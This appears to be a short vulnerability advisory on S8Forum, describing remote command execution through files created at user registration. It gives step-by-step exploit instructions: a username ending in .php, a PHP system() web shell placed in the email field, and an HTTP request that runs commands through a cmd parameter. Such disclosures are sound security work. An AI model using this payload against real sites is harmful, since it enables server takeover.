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source: http://www.securityfocus.com/bid/6547/info S8Forum is prone to a remote command execution vulnerability. When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. - go to Register - insert in Username: any_name.php - in password : any_pasword. - in E-Mail: <? system($cmd); ?> Then request the following page: http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a